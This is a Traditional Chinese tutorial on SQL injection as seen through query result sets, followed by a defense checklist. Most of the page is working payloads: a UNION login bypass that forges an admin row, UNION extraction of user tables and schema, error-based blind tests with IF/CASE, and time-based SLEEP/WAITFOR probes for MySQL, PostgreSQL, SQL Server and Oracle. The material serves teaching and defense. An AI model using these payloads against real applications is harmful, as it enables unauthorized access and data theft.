萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 程式設計 >  >> 資料庫 >> MySQL 教學

SQL 注入攻擊中結果集的角色與利用技術深度剖析

錯誤回顯分類與結果集行為

錯誤類型觸發條件結果集狀態攻擊利用價值
邏輯錯誤WHERE id=1 AND 1=2 (永假)空結果集 (0 行)布爾盲注基礎:頁面內容變化 (有/無資料) 洩露真假
邏輯錯誤WHERE id=1 OR 1=1 (永真)全表結果集 (所有行)繞過認證、導出大量資料、觸發應用層邏輯錯誤 (迴圈讀取過多行)
語法錯誤WHERE id=1' (引號不匹配)**無結果集**,驅動程式拋出異常錯誤回顯注入:從錯誤訊息提取資料庫版本、結構、資料
型別轉換錯誤WHERE id=1 AND 'a'=1 (字串轉數字失敗)無結果集,異常同語法錯誤,特定資料庫 (SQL Server, PostgreSQL) 錯誤訊息豐富
執行階段錯誤BENCHMARK(10000000, MD5(1))、SLEEP(10)超時/無回應時間盲注:根據回應時間差推斷真假

結果集操控核心技術:UNION 注入

前置條件

  • 原查詢回傳欄位數已知 (用 ORDER BY n 或 UNION SELECT NULL,NULL... 試探)。
  • 原查詢與注入查詢欄位數、型別相容。
  • 資料庫支援 UNION (MySQL 4.0+, SQL Server, Oracle, PostgreSQL 皆支援)。

繞過登入驗證實戰

原始驗證碼:

$sql = "SELECT * FROM admin WHERE username='$user' AND password=MD5('$pass')";

攻擊 Payload:

' UNION SELECT 1, 'admin', MD5('hacked123'), 1, 1 --

構造後 SQL:

SELECT * FROM admin WHERE username='' UNION SELECT 1, 'admin', MD5('hacked123'), 1, 1 --' AND password=MD5('...')

結果集第一行即為攻擊者構造的管理員記錄,密碼雜湊為已知值,驗證通過。

提取任意資料 (聯合查詢)

-- 確定欄位數為 4
' UNION SELECT NULL, NULL, NULL, NULL --

-- 提取使用者表
' UNION SELECT 1, username, password, 1 FROM users --

-- 提取資料庫版本
' UNION SELECT 1, @@version, 3, 4 --

-- 提取表結構
' UNION SELECT 1, TABLE_NAME, 3, 4 FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE() --

條件判斷注入:IF/CASE/IIF 構造邏輯/語法錯誤差異

當頁面無明顯回顯 (盲注) 時,利用函數製造可觀測差異:

-- MySQL IF()
SELECT IF(1=1, 1, 'error')      -- 返回 1 (數字)
SELECT IF(1=2, 1, 'error')      -- 返回 'error' (字串)

-- 構造型別衝突觸發語法/轉換錯誤
id=1 AND 1=IF(1=1, 1, 'abc')    -- 正常 (數字=數字)
id=1 AND 1=IF(1=2, 1, 'abc')    -- 報錯: 'abc' 無法轉數字 (語法/型別錯誤)

-- Oracle DECODE / CASE
SELECT CASE WHEN 1=1 THEN 1 ELSE 'x' END FROM dual  -- 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 'x' END FROM dual  -- 'x' (若外層比較數字則報錯)

利用「正常頁面」vs「錯誤頁面/空白頁」的差異,逐位提取資料。

時間盲注:BENCHMARK / SLEEP / WAITFOR

-- MySQL
IF((SELECT COUNT(*) FROM users WHERE username='admin'), SLEEP(5), 0)
-- PostgreSQL
CASE WHEN (SELECT 1 FROM pg_user WHERE usename='postgres') THEN pg_sleep(5) ELSE 0 END
-- SQL Server
IF (SELECT 1 FROM sysusers WHERE name='sa') WAITFOR DELAY '0:0:5'
-- Oracle
CASE WHEN (SELECT 1 FROM dual WHERE EXISTS (SELECT 1 FROM dba_users WHERE username='SYS')) THEN DBMS_LOCK.SLEEP(5) ELSE 0 END

防禦體系:從結果集角度斷開攻擊鏈

  1. 參數化查詢 / 預處理語句:徹底分離代碼與數據,結果集結構固定,注入負載視為參數值,不改變結果集元數據。
  2. 最小權限帳號:應用布號僅擁有必要表的 SELECT/INSERT/UPDATE/DELETE,無 UNION 跨表查詢能力 (無 SELECT 其他表權限)、無 FILE、PROCESS、SUPER。
  3. 錯誤訊息隱藏:生產環境關閉詳細錯誤回顯,統一返回通用錯誤頁,日誌記錄完整堆疊供內部排查。
  4. WAF/RASP:攔截含 UNION SELECT、SLEEP、BENCHMARK、INFORMATION_SCHEMA 等特徵的惡意請求。
  5. 結果集限制:應用層強制 LIMIT 1 或分頁參數上限,防止 OR 1=1 導出全表。
  6. 輸出編碼:資料輸出至 HTML/JS/JSON/CSS 時上下文感知編碼,防止二次注入 (Stored XSS)。
copyright © 萬盛學電腦網 all rights reserved